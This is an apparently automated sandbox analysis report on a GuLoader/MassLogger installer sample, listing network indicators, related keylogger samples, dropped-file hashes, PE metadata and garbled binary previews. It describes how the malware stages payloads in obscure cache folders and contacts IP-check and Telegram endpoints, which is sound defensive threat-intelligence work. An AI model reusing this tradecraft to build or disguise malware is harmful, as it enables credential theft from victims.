Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	prgNb8YFEA.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.112.1
	rlPy5vt1Dg.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
	wZ6VEnOkie.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.80.1
	prlsqnzspl.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.48.1
checkip.dyndns.com	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	prgNb8YFEA.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	rlPy5vt1Dg.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	wZ6VEnOkie.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	prlsqnzspl.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
api.telegram.org	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	njVvgA8pEB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	YDg44STseR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ZoRLXzC5qF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	n0nsAzvYNd.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	njVvgA8pEB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	YDg44STseR.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ZoRLXzC5qF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
UTMEMUS	rlPy5vt1Dg.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	wZ6VEnOkie.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	tNXl4XhgmV.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	MBOaS3GRtF.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	fpIGwanLZi.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	4NG0guPiKA.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.8.169
	uVpytXGpQz.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
CLOUDFLARENETUS	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.64.1
	fqbVL4XxCr.exe	Get hash	malicious	FormBook	Browse	104.21.112.1
	JuIZye2xKX.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	962Zrwh5bU.exe	Get hash	malicious	Azorult	Browse	104.21.75.48
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.16.1
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse	172.64.155.59

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	3qr7JBuNuX.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	prgNb8YFEA.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	rlPy5vt1Dg.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
	wZ6VEnOkie.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.32.1
	prlsqnzspl.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
3b5074b1b5d032e5620f69f9f700ff0e	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	JuIZye2xKX.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sS7Jrsk0Z7.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	5qJ6QQTcRS.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ZFCKpFXpzx.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	ZFCKpFXpzx.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	ZeAX5i7cGB.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	jKqPSehspS.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.185.142 216.58.206.65
	lkETeneRL3.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.185.142 216.58.206.65
	AM983ebb5F.exe	Get hash	malicious	GuLoader	Browse	142.250.185.142 216.58.206.65
	av8XPPpdBc.exe	Get hash	malicious	GuLoader	Browse	142.250.185.142 216.58.206.65
	QNuQ5e175D.exe	Get hash	malicious	GuLoader	Browse	142.250.185.142 216.58.206.65
	7uY105UTJU.exe	Get hash	malicious	GuLoader	Browse	142.250.185.142 216.58.206.65
	QNuQ5e175D.exe	Get hash	malicious	GuLoader	Browse	142.250.185.142 216.58.206.65
	iwEnYIOol8.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.142 216.58.206.65
	Ntwph4urc1.exe	Get hash	malicious	FormBook, GuLoader	Browse	142.250.185.142 216.58.206.65
	2976587-987347589.07.exe	Get hash	malicious	Nitol, Xmrig	Browse	142.250.185.142 216.58.206.65

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsr675C.tmp\System.dll	Qg79mitNvD.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	FILHKLtCw0.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	ppISxhDcpF.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	m0CZ8H4jfl.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PAYMENT ADVICE 750013-1012449943-81347-pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PAYMENT ADVICE TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PURCHASE ORDER TRC-0909718-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed\Backlit.For146

Download File

Process:	C:\Users\user\Desktop\14lVOjBoI2.exe
File Type:	data
Category:	dropped
Size (bytes):	283232
Entropy (8bit):	7.730017738922209
Encrypted:	false
SSDEEP:	6144:DEUchWvPNFecwIuViaNU/C96KyyNWlGR5k0j9pr1+27Qe:A+V9wFi1/evN8mkY95s+d
MD5:	C67B0E2D4F1C2A939FEC3381DFD628FA
SHA1:	11C7759BA402EFA25458EA873297BD5082F92D50
SHA-256:	2351DC0F4567D15F232305787C947958A3F9CF37DA33AF328154A52AE0685661
SHA-512:	FACD9C26F0368D296C808337EA96C475A7E3090BDE12E05A3B3F1A02C895416FE69D030E5966012879D1996CAFA4CA2F248B769C1155D4A07D18B39F63550696
Malicious:	false
Reputation:	low
Preview:	.....................?.........P.LL.....55..........[.......h...OOO.....yyyy..6...h.NNNN..............11...............oo................j........<............................WWWW..qqq...........................q..........................1..............@.@....X....................~......................#..........Z....}.........&&.......o.........................K.........x.......k...;;;;;.........................O....K.........2..............................qqq.......W....XX...............bb.........-...............z..0000000.......vv....A..................zzzz.........w...._....666..NN..^..]]]]....\|\|\|\|\|...HHHH..........```.-.....---.......................4.!!......[..NNN.`...............;............y.............[[[[.........WWW......W...=...................,,,,....................................hh...................e.//............qq.AA...L.....g............................TTT.????.sssss...................nn..........\.._...>...........W.**............................Q....\|\|....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed\Handiest.Pla

Download File

Process:	C:\Users\user\Desktop\14lVOjBoI2.exe
File Type:	data
Category:	dropped
Size (bytes):	108946
Entropy (8bit):	4.606837605675962
Encrypted:	false
SSDEEP:	1536:m2spe3sJV6pGqNPJ1yjuFaWo2SD3ISEMvV5CKk2nYBPbns2WK:VswcypjJ1yyar2A3ISvLCeYlTWK
MD5:	5109F4D21F8B3396D0D55CFDD2B86A47
SHA1:	554DA61E02250B5D737A5BFC4BE0BA882429E08C
SHA-256:	71ADDB58748EA63FE76E549D111ED2B67819184F6D18A0FBF68D070113409143
SHA-512:	3FCD5627A14414C6251E49E61419A62D0CB9E581C7E9514802DA666295E6798EFA5DBD1E270060A74778CC3FB64048536285451405D3525876F2C97AF90F55FA
Malicious:	false
Reputation:	low
Preview:	..!.............&.........y..........6666...QQQQ......CC....c...LL.........................KK.>>>>.........i...........)..............\|\|\|\|.......ss.]........dd...(.x.................))...{.s.qq.____..................M.......qqq..EEEEEEE.......SS..........V...........\........XXXX.......}..b.........!..........................SS.................%.ccc..dd.........55....FFFF... .QQQQ...................[........O..............ff....]]..YYYY..............................<..........................E.X...vvvvvv..................B..........3..............___....................uu............[[.............e.........H............C...R.2............jj.6.....K...................................~~~...............ttt...........\.KK...aa........2.......................7.KKK.....7...........j.!!!........hhh...........n.p.......................ttt..o...............V.........FFFFF.................-...oooo...........pp..m...._.cccccc.%.}}.......(.............bbb.......;...<...._.........vv.............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed\Riprap43.gaw

Download File

Process:	C:\Users\user\Desktop\14lVOjBoI2.exe
File Type:	data
Category:	dropped
Size (bytes):	56641
Entropy (8bit):	1.2318917163845036
Encrypted:	false
SSDEEP:	384:vrBeaW6xu5Pd9GW0Zq+/HXF1qcGNMUd8phxiFQHOV7hpvZlq:t9+Pdop/306xixrlq
MD5:	39C9A5F767D8C170B5CE38EA8D5734D4
SHA1:	4B4CA81EB3D093645B504004F62A269D4EACDECC
SHA-256:	87A7017021050071DBE5726BF9AC505763CD923E2BDE93336CA0905802CD8D49
SHA-512:	AE2D66B801251046FA4D3093391B916955B43BE75A954DD398583B1B8881A9F109F51F81D6E4FE759F83AC7B921FA89B02185013AFDE16D3C8EAB422BE89B4FF
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.............l.........z........i........8.........................m.........f.C.Z..............I./........T..1.......................!......................D.................................................................................U................................../........................................-.......................}.........T`.....0@.............................F..............................].........................L.........<.........................................................................................N......................................................x........................................................@............................................4..........'...................?..........I.............../....................L....,...............................................;......k.....................................i............4.......................................K.....7...7....c...................U..#..............................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed\forskansningens.txt

Download File

Process:	C:\Users\user\Desktop\14lVOjBoI2.exe
File Type:	ASCII text, with very long lines (345), with no line terminators
Category:	dropped
Size (bytes):	345
Entropy (8bit):	4.241929841155785
Encrypted:	false
SSDEEP:	6:dvkdMOL4xnuXGNQWjMIDw1luhPB46xAJX7sBJOdkmLA8gMfArpIXbgOwQWiQJEEC:dufExIoDe1lYnGJLsBQdtL6rpIrWQkJA
MD5:	AE69FE0F4D1E1115BC470031E661785C
SHA1:	8D3799826FE457C61C1E8EE5E3071683A8125BC5
SHA-256:	6B18768503395C809263568D3A8858810404C2B7D49DC7CB6CE5F717F5D6C7DE
SHA-512:	969C0DB048EAC4A9B447A0C0C463A7983F1B4091B6206E274B9D249F8311439B6C33F5AA1EDF9CD1AA27502DA49378D3E1B45F16909C55DF830E51684E9648BE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	pandas omflakkendes tribrachic miskenning.nonvitally subcase syvendelens weighin.tilhreres lysed metencephalons aabentstaaendes arbejdsmarkedsstyrelsers.kodeskrifter indgaaet nstnederst desulphurise badevgtene caliche.reabsorption erhvervskommunernes aktuarerne ammunition whilere sughs.tusindaarigt barkers landholders butylation phrenicocolic.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed\fyldebtten.soi

Download File

Process:	C:\Users\user\Desktop\14lVOjBoI2.exe
File Type:	Matlab v4 mat-file (little endian) ', numeric, rows 63, columns 0
Category:	dropped
Size (bytes):	210366
Entropy (8bit):	1.240975322465592
Encrypted:	false
SSDEEP:	768:vBTwJOLxCIF0V6iLboHog6BQlsMqlN1R0pmGy30wbfq6+9GmlsNh34k0uJ/QohER:cJigyyDJnLH7zA
MD5:	AEF78D8D561E8802286A78AAC6C73ED6
SHA1:	DDF5DA649482D0A553802827BB9F0EF64A7069E1
SHA-256:	45F24543C01C9A11CC2246A9B27569AF433EEF61C877A4E191B683315D3566BE
SHA-512:	93D43C0CECADF8E1F507F8E58D2B4D92995D8F7ECF213A23559938B380033A6D0D80B0816A8D6603864F821F4FEDC988E0F79BE14C6892089178970E08DC4199
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	....?...........*=..'...........................m........................y............................................................................H.......................................c.......x........................................................:...s.......................+.........................................~.....2........C..Z...................................k............................i.........................................{...............................................?%............................................................................Z................................v.............<.....'.............L..........................................+...............................s.........................................W........................`........................[..............&..................T................................j......M......[.....................c.............................................9.......................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Unlatticed\wildwestfilm.sto

Download File

Process:	C:\Users\user\Desktop\14lVOjBoI2.exe
File Type:	data
Category:	dropped
Size (bytes):	363811
Entropy (8bit):	1.2512349423386382
Encrypted:	false
SSDEEP:	768:y2f405GRYtnSLOBbyCociR2TVuEpHsVURGxwGmXjyMB+CtKDOgt9rlHF1QOs+9m5:pIuagbnK7CwVwFpYogwhUsvCq
MD5:	BFEA15C03AB295424981A73637A19491
SHA1:	A5ADABDDC373D6B3004F96946D84B651E42D9F5C
SHA-256:	83E9CE74259889DCABD39D41131F286882B224698DCDEB8D0B4074069AAA687B
SHA-512:	CB5969BFFAED8AF1791938E924E0CC9F876E45165F4E7EA5E9249131FACA831C0600F14BD68EF041D18C81A3FBE087970043D1B3B8A6786C1E5E5049834D4D0D
Malicious:	false
Preview:	...................................................E....................................j.A..(.......................................+..........................$.............................................z.L........%......t...................................2l.............1.............................................................................U...g.......................`............................................................0..................................J......................................K...R...............................................................&...c......................................S......!...8..................Y......................................................>u........T...................L........................................................................0.........................................W.....L.n.....................................$.b...........B..................................................8...............!...............

C:\Users\user\AppData\Local\Temp\nsr675C.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\14lVOjBoI2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.655335921632966
Encrypted:	false
SSDEEP:	192:eF24sihno00Wfl97nH6T2enXwWobpWBTU4VtHT7dmN35Ol9Sl:h8QIl975eXqlWBrz7YLOl9
MD5:	EE260C45E97B62A5E42F17460D406068
SHA1:	DF35F6300A03C4D3D3BD69752574426296B78695
SHA-256:	E94A1F7BCD7E0D532B660D0AF468EB3321536C3EFDCA265E61F9EC174B1AEF27
SHA-512:	A98F350D17C9057F33E5847462A87D59CBF2AAEDA7F6299B0D49BB455E484CE4660C12D2EB8C4A0D21DF523E729222BBD6C820BF25B081BC7478152515B414B3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: Qg79mitNvD.exe, Detection: malicious, Browse Filename: FILHKLtCw0.exe, Detection: malicious, Browse Filename: ppISxhDcpF.exe, Detection: malicious, Browse Filename: m0CZ8H4jfl.exe, Detection: malicious, Browse Filename: PURCHASE ORDER TRC-090971819130-24_pdf.exe, Detection: malicious, Browse Filename: PAYMENT ADVICE 750013-1012449943-81347-pdf.exe, Detection: malicious, Browse Filename: PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe, Detection: malicious, Browse Filename: RFQ December-January Forcast and TCL.exe, Detection: malicious, Browse Filename: PAYMENT ADVICE TT07180016-24_pdf.exe, Detection: malicious, Browse Filename: PURCHASE ORDER TRC-0909718-24_pdf.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...]..V...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..b....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Download File

Process:	C:\Users\user\Desktop\14lVOjBoI2.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1174
Entropy (8bit):	3.253276889214852
Encrypted:	false
SSDEEP:	12:8wl0IsXyEKW2je/tz0/CSL6/cBnwgXl341DEDeG41DEDWqMsQ1olfW+kjcmAazpV:8HlKPjeWLrFPjPKq4izZMzrJpqy
MD5:	993E6DE930B121836F36DB5DC496A712
SHA1:	C607F3DE353871D3E79B7EEDB0840A3FFC7C4827
SHA-256:	4CE587CC1873D0A0833A1FB43924301059AE84347023F811BA237E1E7E45EC65
SHA-512:	FD52837A4BA26BA175B6FC005CC5D4F48BA8DB53A6BDE685D56EFE24B313A4D6837CBC39FB77A4767EE0B7039148DFF0E988189CA88BE6A58556C547C2F2A8D7
Malicious:	false
Preview:	L..................F........................................................k....P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....N.1...........user..:............................................t.i.n.a.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....b.1...........mindevrdigt.H............................................m.i.n.d.e.v.r.d.i.g.t.......2...........boghandlermedhjlperens.tor..f............................................b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r...*.../.....\.....\.....\.m.i.n.d.e.v.r.d.i.g.t.\.b.o.g.h.a.n.d.l.e.r.m.e.d.h.j.l.p.e.r.e.n.s...t.o.r.Y.C.:.\.U.s.e.r.s.\.t.i.n.a.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.I.N.e.t.C.a.c.h.e.\.r.a.p.i.d.i.t.e.t.e.n.s.\.f.r.e.m.t.v.i.n.g.\.U.n.l.a.t.t.i.c.e.d.............w.............

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.963561852977546
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	14lVOjBoI2.exe
File size:	472'339 bytes
MD5:	ebf8a74191898b4a5cd58ffe2035c1ee
SHA1:	d73223724a73b0f7c3d0889247c50f97818ca4c0
SHA256:	ad3b51ce98d8e69775168649d8b4ffbee80c182b3fdb6cfa7f964548c70e9e75
SHA512:	23e3d0b6334cd277ba3d961d65e86e8af162730189328698e34a59c4ea627ffe20ebfc7b051d1a210892acc0390faca776e9d0d7243371e0a06047aafb39f9ab
SSDEEP:	12288:I5AB4N/30vZBGn++dR3vkbuemnSku7Jj1JK8s5FEeKA:ZB4N/+BGnn35xSku7Jj1Jice9
TLSH:	71A423046214F0CBE0B25B364C6727AA6BBE731152B49F1787A4194A3C31BE5CD7E9E8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...P...P...P.._...P...P..NP.._...P...s...P...V...P..Rich.P..........................PE..L......V.................d.........

File Icon


Icon Hash:	3d2e0f95332b3399

Static PE Info

General

Entrypoint:	0x4032a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x567F847F [Sun Dec 27 06:26:07 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d4b94e8ee3f620a89d114b9da4b31873

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebp
push esi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+0Ch], ebp
push 00008001h
mov dword ptr [esp+0Ch], 0040A300h
mov dword ptr [esp+18h], ebp
call dword ptr [004080B0h]
call dword ptr [004080ACh]
cmp ax, 00000006h
je 00007F08D0DBB0E3h
push ebp
call 00007F08D0DBE226h
cmp eax, ebp
je 00007F08D0DBB0D9h
push 00000C00h
call eax
push ebx
push edi
push 0040A2F4h
call 00007F08D0DBE1A3h
push 0040A2ECh
call 00007F08D0DBE199h
push 0040A2E0h
call 00007F08D0DBE18Fh
push 00000009h
call 00007F08D0DBE1F4h
push 00000007h
call 00007F08D0DBE1EDh
mov dword ptr [00434F04h], eax
call dword ptr [00408044h]
push ebp
call dword ptr [004082A8h]
mov dword ptr [00434FB8h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 0042B228h
call dword ptr [0040818Ch]
push 0040A2C8h
push 00433F00h
call 00007F08D0DBDDDAh
call dword ptr [004080A8h]
mov ebx, 0043F000h
push eax
push ebx
call 00007F08D0DBDDC8h
push ebp
call dword ptr [00408178h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x85c8	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0x11e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x637c	0x6400	83ff228d6dae8dd738eb2f78afbc793f	False	0.672421875	data	6.491609540807675	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x147c	0x1600	d9f9b0b330e238260616b62a7a3cac09	False	0.42933238636363635	data	4.973928345594701	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2aff8	0x600	3f2b05c8fbb8b2e4c9c89e93d30e7252	False	0.53125	data	4.133631086111171	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x28000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5d000	0x11e0	0x1200	20639f4e7c421f5379e2fb9ea4a1530d	False	0.3684895833333333	data	4.485045860065118	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x5d268	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x5d5d0	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.42473118279569894
RT_DIALOG	0x5d8b8	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x5da00	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x5db40	0x100	data	English	United States	0.5234375
RT_DIALOG	0x5dc40	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x5dd60	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x5de28	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x5de88	0x14	data	English	United States	1.2
